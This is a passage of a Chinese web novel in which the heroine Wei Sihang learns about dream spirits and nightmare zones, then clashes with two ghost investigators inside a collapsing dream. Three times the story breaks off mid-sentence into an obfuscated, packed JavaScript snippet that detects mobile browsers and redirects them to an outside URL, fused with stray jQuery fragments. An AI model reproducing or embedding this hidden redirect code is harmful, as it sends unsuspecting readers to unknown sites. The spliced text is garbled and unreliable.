“还捋什么捋!困在这里一会电都没了!”看来电子音对于苇思航刚刚白掉的电也十分肉痛。 “这不还有将近一半的电吗!”苇思航的回答十分乐观。 现在貌似不是讨价还价的时候,但…… “我刚才,是进到魇境里面去了?那就是‘梦魇’?”苇思航道,“我在梦魇里死了,所以掉了25%的电,是这样吗?” 电子音憋着一口气,没应,其实也不需要它回答,答案是显而易见的。 “那个魇境,难道只是为了用噩梦吓人?如果现在这里是灵界的梦茧大厦,我在我的梦里面,那魇境里的那个梦茧大厦,又是在哪里?” “……” “问你呢,系统,”苇思航不客气地又上手拍着出风口,“你不是我的系统吗?不应该什么都能解答吗?” 刚冒领了这个名头的电子音骑虎难下,眼见苇思航心意已决,系统拟人地长叹一口气。 “听好了,我只说一次……” 首先要知道的是,“灵界”对应现实世界客观存在,幽灵、梦灵和其他灵体都在此间活动,灵界的外观,来源于大多数灵体对于现实的刻录,比如他们现在所在的梦茧大厦。 人的灵魂在睡梦中出走,作为梦灵来到灵界,梦灵在灵界中的活动本身已经构成“梦”的内容,一般情况下,梦灵对灵界的影响有限,小范围根据自己需求改变身处灵界的能力,被称之为“外化”。 “比如,皮卡丘——你知道皮卡丘吧?这个形象在大多数人的心中根深蒂固,它的尾巴是黄色的,可是某个梦灵做梦的时候记错了,让他梦中皮卡丘的尾巴有了黑色的纹路——类似这种,无伤大雅的小改动,是可以办到的,这个就是‘外化’……” 苇思航:“啊?皮卡丘的尾巴尖不是一直黑色的吗……” “……” 那不是重点! 苇思航陪笑,接话道:“明白了,‘外化’可以让梦灵改变灵界中的事物……这些事物,也包括人吗?” 最后一个问题是她突然想到的。 A梦到B,是A和B的梦灵同时出现,还是A在梦中创造了一个属于他的B,平行于真正的B的意识存在? 电子音停一下,道:“你之后慢慢就知道了,在灵界,只要你的精神力足够强大,一切皆有可能。” “精神力越强,‘外化’能力越强,改变灵界中东西的外观只是最简单的一种,随着外化的深入,当然也可以影响其他梦灵。”电子音继续道,“那这就不得不说到我们的第二个知识点——‘魇境’了。” “魇境”是灵界一种特殊的现象,起因已不可考,普遍认为,它集合了某种长期的集体意识,随机在灵界内游走。一旦爆发,会使一定区域内的梦灵陷入类似的梦魇,每个人都或多或少经历过类似的梦魇。以“黑池”为例,类似的梦魇可以归纳为对深渊的恐惧——引申为深水,又或是高空。 “魇境让梦灵陷入梦魇的方式,实则就是无限放大梦灵的负面‘外化’能力,想象一下,你做一个无比逼真的噩梦,直达你内心最深的恐惧……可想而知其中产生的精神伤害。魇境就是靠吸食这些梦境中产生的精神力来维持运转。” 听到这里,苇思航不由得点点头,想到她刚刚才在一片密封的血泊里被淹死的经历。 “在魇境影响的范围内,所有受影响的梦灵的梦魇同时爆发,内部处在一种极度不稳定的混乱的叠加状态中。打个比方,魇境出现的地方,就像‘薛定谔的猫’里面装猫的那个盒子,有的梦里,猫死了,有的梦里,猫还活着。直到盒子被打开之前,其中发生的一切都不可预料……” 苇思航忍不住打断电子音:“所以什么时候‘盒子’才会打开?换句话说——魇境会持续多久?” “没有固定的持续时间一说。魇境不断吸取梦魇主人的精神力,直到后者精神力无以为继,梦魇也会自动消散,最终会剩下一个最为强大的梦魇,在那个时候,魇境实际上也就不复存在了。” 苇思航若有所思:“听上去像一个耐力比赛。” 电子音停一下:“是的,你可以这样简单理解。” “留到最后的梦魇胜出……那有什么奖励吗?” “有吧……避免了精神力创伤先不论,单说一个完全随你心意创造的世界……算不算呢?” 苇思航有点糊涂了。 “可你刚刚说了,梦魇的实质是极为强大逼真的噩梦……怎么会是奖励?” “那要看你怎么想了。”电子音道,“魇境理论上引起的梦魇是噩梦不错……不过同样都是站在高处,有些人会觉得害怕,有些人却会觉得刺激,梦魇因人而异,造成的精神力伤害也天差地别。反过来说,能留到最后,战胜其他人,成为盒子里最后那只‘猫’的梦魇,如果对于主人来说真的那样难以忍受,也不会坚持到最后了,不是吗?” 不仅不是噩梦,而且可以运用魇境中无限外化的能力,如同造物主一般随心所欲的梦境…… 苇思航若有所思,咀嚼着电子音话里的奥秘。 “最后那只猫……创造世界……” 有什么亮光从她脑海中一闪而过。 “盒子里猫最终的状态,是由赢家定义的……也就是说,盒子打开后出现的最后一只猫,也有可能不是一开始那只咯?所以,最后一个梦魇中的梦茧大厦,可能将灵界中的‘梦茧大厦’取而代之吗?” 电子音又顿了一下,还是老实作答。 “理论上可行。不过只有短暂的窗口期……” 苇思航只当听见了肯定的答案,双眼放光,兴奋不已。 她好像找到逃出去的办法了! 那么她只要重新进入魇境,先这样,再那样……在自己的梦魇中改变灵界中梦茧大厦地下停车场的布局,只要她坚持到魇境的最后,反过来影响灵界,那逃出去还不是分分钟的事? ……她还是这么乐观。 电子音已然明白了苇思航此时心里正在打什么主意,深感自己有必要泼她冷水。 需不需要它再提醒一下她,她刚才的记录是五分钟而已? “奉劝你别想着再进去一遭,你不可能办到的。”电子音提高音量,把苇思航的思绪拉回。 苇思航被拆穿心思,嘿嘿一笑,没心没肺道:“不试试怎么知道!” “……放弃吧。”它幽幽道,“真的,别浪费力气,还是一头撞死最划算。” 苇思航不服:“为啥?” 电子音冷冷道:“首先,你精神力太弱。” 无需“其次”,绝杀已至。苇思航竟无言以对。 “真的,别浪费电量了。”电子音格外务实,甚是苦口婆心。 现在撞车,回到停车场复活,留着这些电量,还不算白来一趟。反正电子音已经想好了话术,下次提前以“系统”身份出现,说服苇思航不要死磕梦茧大厦了嘛…… 苇思航在思考。 她要不要接受“系统”的建议? “怎么能叫浪费?”她不爽,“为了留着这些电给下一个苇思航用?我凭什么为她打算?” “……” 苇思航仿佛自言自语。 “我们都以为是‘我’在复活,有没有可能,是‘我’在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670549|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重死?”苇思航指着自己,虽然电子音看不见,“‘我’这个苇思航失去连续记忆的那一刻就已经死掉了,我没法总想着给下一个苇思航打算,凭啥?还指望她感激我啊?” “……” 她想起自己15%的电量开局,可想而知,上一个苇思航也和她想的一样。 她还有55%的电量,虽然不算多,至少还有机会,何必一定选择自杀这条路?而且,刚刚从电子音那里了解了那么多干货,她现在觉得自己强的可怕! ——要是电子音知道此时苇思航的心声,一定后悔当时开了口…… 苇思航说什么还要再去,电子音见多说无益,不吭声了。 “系统,我这都是为了你啊!” “?” “你说这些只会讲一遍,”打开车门前,苇思航道:“所以,我一定会回来的!等我,咱们一起开车离开这里!” 嚯,临走都不忘立个flag。 电子音无精打采,又一次听见车门被毫不犹豫关上的声音。后视镜里,苇思航朝着低处的黑水一步步走近。 * 于是,就是这样,苇思航第二次进入魇境。 “苏秀禾”和萌萌一起走进电梯里。电梯门缓缓关上,苏秀禾——其实是苇思航,在看不见的地方攥紧手指。 上一次在电梯中的恐怖遭遇仿佛还历历在目。苇思航定了定神。 电梯内的金属镜面照出此时电梯内的场景,苇思航看着身边的红发小姑娘朝矮胖的苏秀禾微微欠身,关心道:“苏姐,你脸色不太好看,没事吧?” 苇思航僵硬地提起一个笑:“没事。” 萌萌眨了眨眼,苇思航看着,心想,这双眼睛,一会也会跟着血浆一起,从这具身体里迸出来吧? 她这次有了心理准备,无比清晰地知道自己正在梦魇之中。 魇境是梦灵集体意识的集合,但苇思航宁愿相信,它自身也有着某种意识,一种纯粹的恶意。 不过好像不太聪明的样子。 比如,仅凭一张名牌,把她认成“苏秀禾”。 这一次出现的新人物“萌萌”——这其实是苇思航的一个测试。她在尝试电子音提到的,所谓“外化”的力量。而她脑中想的对象,当然是——陆萌。 只是或许真是因为她的精神力太不济了吧,出现在这里的不是真正的陆萌,只是魇境造给她的一个赝品,企图蒙混过关。 魇境以吸食梦灵负面情绪为乐,负面情绪,也是精神力的一种。怨恨、愤怒、恐惧、悲伤、沮丧,孤独……沉浸在这些情绪之中,其实都很耗费能量,不是吗? 电梯里再一次渗出血液。却是出现在苇思航脚下。 “哎呀,这是什么?苏姐,你怎么了?”萌萌第一个叫起来,话里的幸灾乐祸快要压不住了。 所有人的目光齐刷刷转过来,充满了震惊和嫌恶。 苇思航:“……” 大庭广众之下出丑,比在电梯里被血淹死要恐怖多了好嘛! 没想到魇境临时改了剧本……好,这么玩是吧? 嘿嘿,只是皮一下。 可能是察觉到苇思航对此并不感冒,电梯里再次涌入粘稠的鲜血,这一次周围的人和上一次的淡定不同,开始慌张起来,极力渲染恐慌氛围。 水位上升得比第一次更快,在血海中挣扎哀嚎的人们衬得此间宛如人间炼狱,现场顿时从安静炖煮的罗宋汤变成了西红柿榨汁机的内部。其中,一个穿着仿佛大号黑色裹尸袋的肥胖女人毫无感情又相当灵活地踩着不成人形的一群人向上攀爬,她手里拿着一根死人领带,钩住了顶部的通风窗,借着上肢的力量向上突围。 只有头还露出水面的萌萌在下面拽着她的腿不放。 “死肥婆——”尖利的声音仿佛精神污染。 苇思航把萌萌一脚踹开,朝着头顶趴着看了很久热闹的那只鬼大叫:“搭把手,救命啊啊啊啊啊——” 11. 10. 黑池(三) 苇思航不停地咳嗽,窒息的感觉挥之不去,仿佛还有无数粘稠的血块从她的口鼻中涌出。睫毛上糊了一层血浆,她抹一把脸也无济于事,眼前一片血红,属实狼狈。 此曾相识的濒死感,她扭头看了看周围,确定她现在趴在电梯顶上,而不是0373的方向盘。低下头,身下下方已经灌注完毕的电梯内部盛满猩红的血浆,刚才混乱的一幕幕如同人间炼狱,眼下平静的水面反而显得诡异。 就在刚才鲜血即将没顶的最后关头,顶上的幽灵好心拉了苇思航一把,苇思航还没能向他道谢,只听熟悉的“叮”的一声,打破了死寂。电梯停靠在15楼,门再次打开了,充满了一整个轿厢的鲜血顿时泄闸一样奔涌而出,内外压力的变化,使得整个轿厢跟着不祥地轻颤。 苇思航心里警惕危险的雷达也跟着蜂鸣起来,她不敢耽搁,力气灌注虚软的手脚,迅速爬起身,身在高处的感觉让人头晕目眩。好在她脑子还算清醒,附近是电梯井,墙上有凹槽可以供人攀爬,苇思航抓着固定电梯的粗缆绳,手脚并用,成功躲进15层和16层之间的凹槽里。凹槽十分窄小,她紧紧贴着墙壁站着,面前就是15层楼高的深渊。黑洞洞的底部想要把人吸进去,她听见自己粗重的喘息在贯通的电梯间里回响。 几乎是她刚刚站直身体的同时,下面空无一人的电梯停止了颤抖,下一瞬,突然毫无预兆地朝下坠去。失速坠落的轿厢带起的风吹动苇思航的头发,她朝下瞥了一眼,感到背上阵阵冷汗,不敢再看。 黑池魇境,警惕深水,又或是,高空。短暂的时间里,就给苇思航接连上了两课。 轰然一声巨响,下方传来轿厢落地的声音,此时此刻,想必已经在强烈的冲击下化作铁饼一块。 好险好险。 苇思航劫后余生,心脏狂跳,终于有了一丝喘息的机会,转头,目光与身边另外一个人——幽灵——对上。 为什么苇思航一眼就看出他是个幽灵,而不是别的呢……原因很简单。 首先,她自认精神力好像没到拉别的梦灵进来的程度……看那个拙劣的“萌萌”就知道了。 然后,转念一想,也是,魇境来袭,梦茧大厦内部的幽灵都哪里去了? 魇境爆发的时候,范围内的幽灵也不可能不受到影响,唯一不同的是,幽灵本身没有造梦的能力,只能进入梦灵的梦魇之中。 ——苇思航此时还对这些一无所知,看着对面,惊奇地忘了言语。 对方身穿一身陈旧道袍,后脑上桃木簪束起一个发髻,全身不动,定定悬空飘在电梯井之中。一张黄符贴在脸上,挡去了大部分五官,那张黄符在他脸上毫无起伏,甚至让人怀疑他是否仍在呼吸,哪怕刚刚下方电梯坠井掀起的劲风,也未能掀起符咒本身一分一毫。 一个……道士鬼? 苇思航心想,幸好这个梦境的场景是白天的办公楼,假如换成民俗背景,这位道长简直可以直接去当吓人的NPC了…… “在下含晦。灵管局4102科调查员。”对方先开口自我介绍,声音平和,苇思航的眼睛猛地瞪大了! 灵管局! 这不就是她一直翘首盼望的警察叔叔吗!苇思航如遇救星,心里说不出的激动。 那叫“含晦”的幽灵道长顿了一下,礼貌询问:“你就是此处15层梦境的主人?” “是……是,我叫苇思航,你可以叫我……小苇。”苇思航即答,一向以“苇姐”自居的她颇识时务,险些语无伦次,“刚才多谢道长搭救!” 含晦摇摇头,淡道:“不用谢。” “实不相瞒,这是我第一次进入魇境,”——其实是第二次。苇思航撒了个无伤大雅的小谎,含晦正要说什么,遭到苇思航下定决心的抢白:“道长是来此处公干?有没有我能帮上忙的?看您也是一个人,不如暂时和我组个队吧?” 黑衣女人看起来十分诚恳,透着一股子警民一家亲的热心。 含晦悬在半空,在黄符之后将她看了一看。 “此处危险。”半晌,他终于开口道,对刚刚苇思航的邀约,约等于默认了,“咱们要怎么回到楼里去?” “……”苇思航本来还想问呢! 警察叔叔不应该比她更有经验点吗? 转念一想,也是,这里是她的梦,当然要问她! 苇思航看着周围的环境发了一会愁。 梦魇里的场景,都是根据主人自己的经验、记忆或潜意识渲染而来,他们现在所处的电梯井,很像苇思航之前看过的美国大片,苇思航克制不去想主人公在其中和突然出现的怪物在高空英勇搏斗的场面。 她现在据说拥有放大的“外化”能力,然而不知道运用的诀窍,只怕搬起石头砸自己的脚。 经过刚才的电梯惊魂,魇境正处在平静的间歇,但谁知道下一次死亡威胁会是什么时候?在这里坐以待毙太过被动,她可没有信心能一直待在这里坚持到最后。 “有了!”同样受到了美国大片的启发,苇思航眼前一亮。 她背靠着墙壁,小步挪动,一只手在墙上摸索,一个站不稳,就要像刚才的轿厢一样跌落。 终于,在一个不起眼的地方,她找到了一个松动的入口,一个老旧的气窗。她说不好,这个气窗是一直在那里吗?还是经过她的想象之后才“外化”出现的? 她坚持不懈地扪了两下,气窗松动的外壳脱落坠井,其后一个可供人通过的通风管道现身。她再手脚并用,像壁虎一样将自己胖大的身体腾挪过去。 不一会,苇思航四肢匍匐在通风管道里,朝前艰难爬行,含晦很快也跟了过来。 中央空调通风管道一端通到电梯井,管道网络俯瞰整个办公楼工作区,他们重新回到了楼体里,朝着深处进发。 管道内光线阴暗,空气浑浊,想必味道不怎么好闻,幸而作为梦灵的苇思航什么都闻不到。她作为“苏秀禾”的身材挤进里面,逼仄的感觉更甚,压抑的感觉来自四面八方,苇思航感觉自己快要得幽闭恐惧症了,咬着牙朝着远处办公区传来的光亮爬去。 在她身后,含晦也屈身跟随,依旧默然无语。苇思航的心里泛着嘀咕,本以为抱了个大腿,谁知只是多了条尾巴。 爬了不一会,管道下方的网格片透进更大片的光亮,原来已经到达办公区上方,下方的一切尽收眼底。在他们身下,井井有条的桌椅分割成一个又一个格子状的工位。 苇思航听到了声音。 敲键盘的声音,电脑椅的轮子在地上滑动的声音,订书机咬合的声音,打印机孜孜不倦吐纸的声音…… 她看到了人。 发出那些热闹声音的男男女女,正沉默地在各自的工位做着自己的事。 类似的场景每天都在办公楼里上演,多么亲切啊! 苇思航低头看见他们面无表情的头顶,在其中看到了熟悉的红发。 ——是萌萌! 电梯里的一幕幕还如在眼前,萌萌,还有除她之外办公室里的其他人,都似曾相识,仿佛重复登场的演员,正兢兢业业在一个全新的布景里扮演着微不足道的角色,作为导演的苇思航只是为自己的想象力感到尴尬…… 她觉得有点喘不上来气……好像,好像也不至于尴尬到这种地步,咦,不对…… 她感觉“苏秀禾”本就举步维艰的庞大体型还在膨胀! 又或者是整个管道正在收窄? 异变再次袭来,她身上的肥肉紧紧贴着冰凉的管道壁,感觉到管道四周的压迫感,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670550|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始挣扎起来,整个管道发出“轰隆”“轰隆”的声音,好像一根被堵住的吸管,连带着天花板的四角似乎也跟着震动着。 竟是想要把她在管道里活活憋死! 此时下面的人也察觉了头顶的异响,不约而同抬起头来—— 苇思航感觉无数道麻木而诡异的目光朝她射来,他们一模一样黑洞洞的眼眶毫无生气,如同深不可测的暗河…… 苇思航来不及骇然,嘴里发出艰难喘息的“嗬嗬”声,急切地朝前伸手,胡乱寻摸,指尖碰到通风管道的气窗出口,仅仅咫尺之遥,重获自由的空气就在前方,她却被卡在此处,收紧的管道箍的她无法继续前进。 惊吓、懊悔、悲伤、愤怒……魇境以这些负面情绪的精神力为食,其中最受青睐的,应当是——绝望。 如果魇境的背后有某种邪恶的意识,此刻必定在不为人知之处发出蔑笑。 魇境的发力就在短短的时间内,不过几秒,苇思航被卡的几乎翻白眼,身后含晦终于也察觉到了不对,从后面帮忙朝出口推着她的脚,但收效甚微。 缓缓收紧的窒息感,空气被挤压出肺部的感觉,比起上次的死法,这次好像还要更窝囊一些……一瞬间,苇思航像是看见了0373的仪表盘,这一次又要结束了吗…… 天花板的震动越来越明显,一开始让人误以为是受到管道的影响,其实不然。魇境内部正在酝酿着某种异动……就是在这个时候,一声近在咫尺的巨响传来,什么重物从上坠落,天花板被砸开了,他们所在的通风管道也没能幸免,从中断开,斜吊在半空。 重力的作用在此时帮了忙,苇思航的身体失去了平衡,头朝下倾斜,顺着管道被“吐”了出来,她扑倒在地的样子既笨重又狼狈。 几乎和她同时,从天花板上掉下来的另一个影子也就势在地上一滚。刚刚那些呆滞的上班族们转眼已经不见了。 倒在地上的苇思航觉得自己处在晕厥的边缘,萎缩的肺重新开始吞吐,带动着浑身的肥肉颤抖起来,眼前仍是一片黑白雪花,尚未显出事物的轮廓。 她迷迷糊糊之间,只听身边含晦惊喜的声音:“科长!” ——那个从天而降的东西,竟然是个人……不,应该说,另一个幽灵。 含晦也从通风管道中得以脱身。苇思航反应过来,那另外一人是他的同伴,心中先是一松。 天知道那位“科长”是从哪里凭空出现,也幸亏他此时出现,救了苇思航一命。 被称作“科长”的从天而降的男人很快站起身,勾起脚尖踢了踢一旁黑乎乎的一团——苇思航本人。 苇思航忍。趴在地上装死,继续听着科长与含晦之间的对话。显然,他们对于见到彼此也十分惊喜。 “这个魇境有点不对劲……我刚刚在的23层一开始还好好的,突然塌了……”那科长道,意指脚下的苇思航,“这是?” 含晦:“她是这层梦魇的主人!” “唔,这层梦魇什么情况?” 不久前还像闷葫芦一样的含晦一股脑开始汇报:“比较常规,讲一定逻辑,看得出主人想象力贫乏……NPC有点痴呆,不过还算友善,总体来说还算安全。” 苇思航在一旁听见这个评价,不知道该不该生气:“……” “那不错啊,现在这种梦可不多了。”“科长”声音粗哑,听着让人感觉怪难受的,苇思航很想睁开眼看下他的样子,脖子扭在一个奇怪的角度,一时没能动弹。 “正好,咱们现在都在这里,要尽快绑定,就由你来接管……喏,把这个梦灵杀了吧。” 那语气轻松的好像在讨论拍死一只蚊子。 刚刚死里逃生的苇思航:???!!! ……绝望啊。 12. 11. 黑池(四) 到了这个时候,苇思航再也忍不住了。 她趴在地上,像怨鬼一样,撑起身体,脖子“咔咔”地转到一侧,怒瞪含晦,实在是气不过。 真正应该被叫做“鬼”的含晦反被吓得后退一步,像是对她还有意识感到十分惊讶,黄符之后露出来的脸色比打印纸还白。 之前含晦一直没来得及告诉苇思航的——这其实也是他第一次进魇境。 苇思航也不知道自己之前是被什么蒙了眼,之前看着还高深莫测的幽灵道长,现在一看——纯纯菜鸟嘛! 目光微一偏,苇思航也看到了含晦身边的那位“科长”的真容。他身材高大,留着胡须,眼角有一条疤,看着就不好惹,他的武器是一把长刀——刚才通风管道整齐的断口似乎有了解释。可他此时西装革履,衣服小了一号,看起来有点窝囊,一句话形容——像个套了层社畜皮的□□老大。 ——常年混迹于各大魇境,4102号调查科长尉迟龙鸣经验丰富,熟练掌握各项梦魇中伪装技术,早已忘记自己原本的模样。现在的他看起来还是不久前二十三层梦魇里的小职员。 至于为什么要伪装……在某些危险的梦魇中,过于格格不入引人注目的幽灵可能会受到梦魇中意识体的攻击,意识体——套用现实中的游戏术语,被简单称为NPC的。为了顺利执行任务,富有经验的调查员往往会选择融入梦境的外形以省去那些麻烦。 此时,尉迟龙鸣见苇思航转过头来,也有些惊讶,然后很快接受了,对于刚刚大声密谋的谋杀毫无悔意,甚至有了如下一段经典的对话。 “你瞅啥?” 苇思航:“瞅你咋地?” “你再瞅试试!” “试试就试试!” 苇思航也不知是不是豁出去了,瞪圆了眼睛,丝毫不惧,对面也因她凶狠的目光一愣。 “你不是说你是灵管局的吗?你骗人?”苇思航梗着脖子,转向一旁的含晦。 含晦坐立难安:“苇姑娘,我没骗你,我们确实是灵管局的没错……” “那你们还要杀我?我都听见了!” 含晦:“只是为了执行公务,并不是针对你个人……” “什么公务要杀人执行?” 含晦正要解释,被尉迟龙鸣打断。 “懒得跟她唧唧歪歪的,吵死了!”尉迟龙鸣一挥手,直接把手中刀递去,“别废话,咱一会还有正事呢!” 含晦犹犹豫豫地接过长刀,看起来难以下定决心。 “等下,等下。”苇思航看见刀,顿时冷静了些,换上另一副语气,同时坐直了身体,“我不想死,反倒是你们,咱们之间又没什么深仇大恨,你们有什么一定要杀我的理由吗?” “你不想死?”没等含晦说话,尉迟龙鸣像是听到了什么笑话一样,“大姐,咱们现在是在魇境里!一刀结果是送你解脱!别整的好像我们是杀人犯似的……我们可是公务员!话说你刚才不是也差点死了……那什么死法啊,在通风管道里被憋死?在黑池里简直闻所未闻……” 苇思航才不理他,坚持看着含晦,道:“道长,我只听你解释。” 一旁尉迟龙鸣讨了个没趣,摸摸鼻子,未置可否。 含晦看看这边,又看看那边,终于道。 “好吧……” 于是含晦简短交待了他们现在的处境。 他和尉迟龙鸣确实都是调查科下属的幽灵没错。不过和苇思航想的不一样,他们并不是本就在梦茧大厦被迫卷入,而是主动来到这里执行任务——每当魇境爆发,灵管局会派遣调查员前往,这是惯例。而他们作为调查员的目标只有一个,就是尽量缩短魇境持续的时间,避免其对灵界以及灵体产生不利的影响。 幽灵无法做梦,也不具备梦魇中的外化能力,作为外来者还要承受梦魇中意识体的攻击,稍有不慎举步维艰,因此为了行事方便,会选择杀死梦灵接管梦魇。 含晦举了一个不太像他本人的例子:“如果把魇境想象成一个游戏的话,我们现在想办法注册账号……顶替梦灵成为玩家,而原本的梦灵不会立即登出,而是“挂机”——进入意识的边缘,直到魇境消散后正式醒来。” “所以,”苇思航指着自己,“我被你们选中了?” “坦白来讲,”含晦抿了抿唇,道,“你的精神力很弱,如果不是……我们没得选。” 苇思航:“……” 每当被提醒精神力很弱的事实,她总是无力反驳。 目前为止,她的梦魇是很平庸普通没错啦,甚至如果不是因为正好遇到了眼前这两人,她已经死了至少两次了。 苇思航追问:“如果不是什么?” 含晦闻言没有立即回答,而是看向一旁的尉迟龙鸣,不知当不当讲。 苇思航转念放弃了追问,改道:“你身边这位……” 她指的是尉迟龙鸣,却正眼也不给他一个,仍然看着含晦。 ——对了,刚刚还没来得及介绍,因此苇思航还不知道他的名字。 “尉迟龙鸣。”顿了顿,对方主动报上名字。苇思航轻轻一笑,满意了:“农民兄——” “……” 苇思航冲尉迟龙鸣颔首,装作没看见他脸上便秘的神色,很快便转过头去,目光定定落在含晦的黄符之上,又叫了一声:“——含晦道长。” 听那语气,她接下来要讲的话很重要。 “不瞒你们说,我也是主动进入魇境的,我说我不想死,也是真的,因为我的目标——是要活到最后!” 含晦身形微顿,尉迟龙鸣目光一凛。 苇思航的声音在空旷的办公区里回响。 “我有必须那样做的理由,事先声明,绝对不会对灵界产生什么不利影响——我想你们可能会顾虑这个。”苇思航继续道,“至于你们二位的目标,尽快结束魇境,我也求之不得嘛……我想说的是,我们并不是没得选……我们可以选择结盟。” 加上不久前电梯外那次,这已经是苇思航第二次发出组队邀请。 不等含晦开口,尉迟龙鸣眉毛一挑。 “你想让我们帮你?” 苇思航微笑:“算是互帮互助吧。你们毕竟现在在我的梦境中,我不会主动攻击你们,你们休整一下,不很好吗?再者说,就算你们现在接管了我这个平平无奇的梦魇,对你们的作用终归有限,不如留着精神力用在更重要的地方,你觉得呢?” 尉迟龙鸣不答。苇思航心里有了底,她猜对了。 幽灵杀死梦灵可行,看来也不是全无限制。否则,穿梭各个梦魇大开杀戒不就得了?至于限制的条件,苇思航自然而然地想到了精神力。 她的另一重筹码,则是他们身处的,混乱无序的魇境本身。 她此时状似无意,问起尉迟龙鸣:“刚才我听见了,你是从上面某层梦魇掉下来的?什么情况?” 不知是不是错觉,尉迟龙鸣硬汉的脸上竟微微发白。 那股把他直接从梦魇中强制弹出的力量,他来不及细想……似乎是另一个梦魇的侵噬……不,不可能! 像是听见了他心里的声音,23层梦魇崩塌之前的景象再次出现。天花板开始震动,地板也跟着发颤,白炽灯晃动着,扑簌簌抖落下灰尘,像是一张灰色的网罗扣下,墙壁上,标识了楼层的数字像坏掉的电视画面一样频闪起来。 不,不对,这不是23层崩塌前的闪回,而是实实在在地正发生在他们身边,此时,此地——15层梦魇! 尉迟龙鸣抬起头,看到刚才胸有成竹的苇思航,此时同样一脸惊愕与茫然。 作为梦境的主人,她下意识以为问题出自自己身上,这是怎么了? “我没有……” 一句话没能说完。 苇思航看见尉迟龙鸣面色铁青,嘴巴像水池里的金鱼一样一张一合,却没有任何声音传出。 嘭——! 嘭嘭—— 强烈的气爆声震得人有一刹那的失聪,天花板和地板同时开裂,百叶窗和震碎的玻璃在卷进的狂风里狂舞。 苇思航来不及思考,几乎是下意识的反应,就近藏进一旁的办公桌底,强烈的震感从楼体内部传来! 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670551|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时候,她终于意识到,问题并不出在她身上……不说别的,睁大眼睛看看,她哪有这么大的威力啊! 这一层的落地窗齐齐爆裂,像是有一只无形的手伸进来,把一切都捣烂,整片办公区如同被投入沸油的冷水,骤然炸开混乱的涡流。巨大的吸力从大楼外袭来,纸张、文件夹、键盘、鼠标……一切未被固定的物体瞬间腾空而起,被甩向破碎的窗外。 “轰——” 吊顶轰然倒塌,埋在其中的电线也暴露无疑,一节一节扭曲绷断,地毯被整片掀起,露出下方裸露的楼板,一块一块剥蚀脱落,被飓风一般的吸力扯向高空。打印机、沙发、办公椅……所有稍大的物件也未能幸免,它们翻滚着、碰撞着,像被丢进绞肉机的玩具,眨眼间消失在刺目的天光里。 苇思航藏身的整一列办公桌足有三米长,看上去足够可靠的掩体,却也逃不过被毁灭的命运,很快被掀翻,扔出窗外,苇思航重新暴露在天光下,待看清了周围的场景,不禁寒气直至脚底。 发生了什么? 刚刚还好端端的梦茧大厦,瞬间光秃秃得只剩下楼体的框架,她所在的地方正好是楼体的承重梁,暂时还算安全,四面漏风,如同孤岛,其下是翻滚着的沥青一般的深渊——魇境中的黑水装也不装了,朝她露出残忍的狞笑。 再看她刚刚身边那两个人——尉迟龙鸣危机时刻将长刀深深扎进楼体,好歹有个牢固的抓靠,含晦——苇思航犹记得他是会飞的——其实只是简单的漂浮技能,在狂风中无济于事,像是一片飘摇的落叶,抓住尚存的一方电缆,眼看也要脱落,情况不妙。 “抓住我!”苇思航离他更近,伸出手去——就像不久前,他在电梯顶救了她那一次。 含晦尝试地伸出手,可每次即将抓住苇思航的时候,就被高处的疾风吹的更远。 尉迟龙鸣在一旁失神喃喃:“是梦境坍流……那东西追上来了……” 苇思航急得出了一脑门汗:“什么玩意?” “有一个梦魇在侵噬其他梦境!这里很快也要坍塌了!” 苇思航听得似懂非懂,看着尉迟龙鸣的表情,只是隐隐约约感觉大事不好。 但她无暇理会,伸手去够含晦,招呼尉迟龙鸣:“待会再说,先搭把手……” “没用的,还是省省力气吧……”尉迟龙鸣颓然不动,一种与他本人格格不入的恐惧神色浮在脸上。 第一次他还心存侥幸,可以当作仅仅是意外,第二次紧随其后,这一层梦魇也即将遭遇灭顶之灾。梦魇侵噬,他只在之前调查科前辈的手稿中读到过,这一现象最终引向的是——传说中的“灵坟”。 灵坟之中,所有的灵体唯一的结局,就是毁灭…… 苇思航依旧忙着去拉含晦,紧紧抱着还算牢固的横梁,不肯放弃自救,这一幕落在尉迟龙鸣眼中,无异于螳臂当车,不禁苦笑一声。苇思航探出半个身子,与含晦的手指即将在半空中相遇之时,尉迟龙鸣出手了。 却见他毫不客气,飞身一脚把含晦踹了下去。 “你干嘛——!”苇思航震惊中失声叫道。 含晦没来得及发出任何声音,便向下坠落而去,脸上黄符扯动,皱皱巴巴。尉迟龙鸣低头看了一眼,好像看见了不久前从23层坠落的自己。 接下来,轮到他了。他有预感,这一次,接住他的不会是另一个梦魇和它好心的主人,而是“那个”梦魇。 